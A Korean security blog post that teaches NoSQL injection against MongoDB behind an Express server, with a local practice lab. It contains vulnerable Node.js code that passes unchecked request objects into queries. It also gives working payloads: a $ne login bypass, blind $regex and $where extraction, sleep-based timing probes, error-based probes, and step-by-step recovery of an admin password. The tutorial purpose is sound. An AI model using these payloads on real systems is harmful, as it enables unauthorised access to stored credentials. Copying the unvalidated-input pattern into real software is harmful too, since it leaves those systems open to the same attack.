끄적끄적

[NoSQL] SQL Injection (상) 본문

Security/Database

[NoSQL] SQL Injection (상)

Go0G 2022. 3. 4. 18:12

개요

NoSQL Injection은 SQL Injection과 마찬가지로 이용자의 입력값이 쿼리에 포함되서 발생하는 취약점이다. MongoDB(NoSQL)은 기존 SQL의 데이터 자료형(정수, 날짜, 문장려)외에도 오브젝트, 배열 타입을 사용할 수 있다. 특히 오브젝트 타입의 입력 값을 처리할 때 쿼리 연산자를 사용할 수 있는데, 이를 통해 다양한 행위가 가능하다.

 

본 포스팅에서는 NoSQL Injection에 대한 개념과 Blind NoSQL Injection에 대해 다뤄보고자 한다.


MongoDB

URL에서 Query 데이터를 추출(Express)

const express = require('express'); //Nodejs의 Express Module 사용
const app = express();
app.get('/', function(req,res) {
    console.log('data:', req.query.data); //쿼리에서 데이터 파싱 후 출력
    console.log('type:', typeof req.query.data); //데이터 Type 확인 후 출력
    res.send('hello world');
});
const server = app.listen(3000, function(){ //PORT 3000, Web Server Open
    console.log('app.listen');
});

Object 데이터 타입 확인

http://localhost:3000/?data=1234
data: 1234
type: string

http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object

http://localhost:3000/?data[5678]=1234&data=0000
data: { '5678': '1234', '0000': true } 
type: object

User Collection에서 이용자가 입력한 데이터를 찾고 출력

이용자의 입력값에 대한 타입을 검증하지 않기 때문에 Object 타입의 값 입력 가능

const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true }); //MongoDB 연결
app.get('/query', function(req,res) { //query URL 접근을 GET 방식으로 처리
    db.collection('user').find({  //user Collection의 데이터 조회
        'uid': req.query.uid, //이용자의 요청에 대한 uid(아이디) 값
        'upw': req.query.upw //이용자의 요청에 대한 upw(패스워드) 값
    }).toArray(function(err, result) { //에러처리
        if (err) throw err;
        res.send(result);
  });
});
const server = app.listen(3000, function(){ //PORT 3000 Web Server OPEN
    console.log('app.listen');
});

공격 구문

$ne(Not Equel) 연산자를 이용해 'a'가 아닌 데이터를 조회

http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
결과:[{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]

위 요청은 GET 방식을 사용하였지만, POST 방식으로 JSON에 데이터를 담아 처리하는 경우도 있다.

실제 쿼리

해당 쿼리에서 $ne 연산자와 'a'의 조건의 구조를 정확하게 숙지 하는 것이 중요하다.

> db.user.find( { $and: [ "uid": { "$ne": "a"}, upw: { "$ne": "a"} ] } )

Blind NoSQL Injection

MongoDB는 $regex, $where와 같은 연산자를 통해 Blind NoSQL Injection을 수행하여 데이터 베이스의 정보를 획득할 수 있다. 이외 연산자는 Reference의 공식 문서를 참고하길 바란다.

연산자

Name Descreption
$expr 쿼리 내에서 집계식 사용
$regex 정규식과 일치하는 문서 선택
$text 지정된 텍스트 검색
$where Javscript 표현식을 만족하는 문서 선택

$regex

정규식을 통해 일치하는 데이터를 조회하는 예제는 아래와 같다.

> db.user.find({upw: {$regex:"^a"}}) //a로 시작하지 않는 데이터 조회
> db.user.find({upw: {$regex:"g"}}) //g가 포함된 데이터 조회

$where

인자로 전달한 JavaScript 표현식을 만족하는 데이터를 조회

> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

> db.user.find({uid: {$where:"return 1==1")}) //Field에서 사용할 수 없는 연산자
error: {
	"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
	"code" : 17287
}

substring

substring 연사자를 이용하면 Blind SQL Injection에서 한 글자씩 데이터 값을 확인했던 것과 같이 사용할 수 있다.

> db.user.find({$where: "this.upw.substring(0,1)=='a'"}) //user Collection의 upw의 첫 번째 글자가 'a'인 데이터가 존재하는지 확인
> db.user.find({$where: "this.upw.substring(0,1)=='b'"}) //user Collection의 upw의 첫 번째 글자가 'b'인 데이터가 존재하는지 확인
> db.user.find({$where: "this.upw.substring(0,1)=='c'"}) //user Collection의 upw의 첫 번째 글자가 'c'인 데이터가 존재하는지 확인
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"}) //user Collection의 upw의 첫 번째 글자가 'g'인 데이터가 존재하는지 확인
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" } //일치하는 결과 Return

Sleep

지연시간을 통해 참/거짓 결과를 확인할 수 있다.

db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
//위와 같은 쿼리 구문일 때
//첫 번째 글자가 일치할 경우 5초의 Sleep
Requset 1: /?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
Requset 2: /?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
Requset 3: /?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
Requset 4: /?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.

Error Based Injection

올바르지 않은 문법을 고의로 입력하여 에러를 발생시킨다. AND 연산을 통해 앞의 조건이 정상적인 쿼리로 동작하였는지 확인할 수 있다.

//패스워드를 알아내기 위한 쿼리 구문
Request 1: /?uid=guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1

//실제 쿼리 구문
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
	"code" : 16722
}

// 참: this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// 거짓: this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음

실습

  • 목표: 데이터베이스에 존재하는 "admin" 계정의 비밀번호를 획득
const express = require('express');
const app = express();
app.use(express.json());
app.use(express.urlencoded( {extended : false } ));
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
    db.collection('user').findOne({
        'uid': req.body.uid,
        'upw': req.body.upw
    }, function(err, result){
        if (err) throw err;
        console.log(result);
        if(result){
            res.send(result['uid']); //True: uid Return
        }else{
            res.send('undefined'); //False: undefined Return
        }
    })
});
const server = app.listen(80, function(){
    console.log('app.listen');
});

 

예제 쿼리 구문

값이 존재할 시 "uid" 값인 guest 리턴

Requset: /query?uid=guest&upw=guest
{"uid": "guest", "upw": "guest"}
> guest

admin 계정의 패스워드 길이 확인

$regex 사용

//False
{"uid": "admin", "upw": {"$regex":".{6}"}}
> undefined

//True
{"uid": "admin", "upw": {"$regex":".{5}"}}
> admin

admin 계정의 비밀번호 획득

$regex 사용

//true
{"uid": "admin", "upw": {"$regex":"^a"}}
admin

//false
{"uid": "admin", "upw": {"$regex":"^aa"}}
undefined

//false
{"uid": "admin", "upw": {"$regex":"^ab"}}
undefined

//true
{"uid": "admin", "upw": {"$regex":"^ap"}}
admin

...
{"uid": "admin", "upw": {"$regex":"^apple$"}}

마치며

NoSQL Injection에 대한 자세한 내용은 Reference [3]의 Cheat Sheet를 참고하길 바란다.


 

Reference

'Security > Database' 카테고리의 다른 글

[NoSQL] MongoDB, Redis, CouchDB  (0) 2022.03.04
Comments